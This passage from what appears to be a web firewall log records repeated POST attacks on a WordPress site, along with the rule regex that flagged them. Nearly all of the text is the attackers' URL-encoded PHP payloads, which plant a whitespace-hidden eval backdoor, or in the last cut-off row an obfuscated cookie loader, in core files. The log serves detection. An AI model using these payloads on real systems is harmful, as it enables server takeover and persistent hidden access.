0%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:50:27","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2053\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nCS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:50:43","203.190.11.3","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2053\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\n\nTQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:52:11","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:2053\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nVf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:52:24","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:2053\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nsH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:52:35","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2076\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:52:44","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-decoder.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B19%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B23%255D%2529%253B%2524p%255B11%255D%2528%2524n%252C%2524p%255B21%255D.%2524p%255B10%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20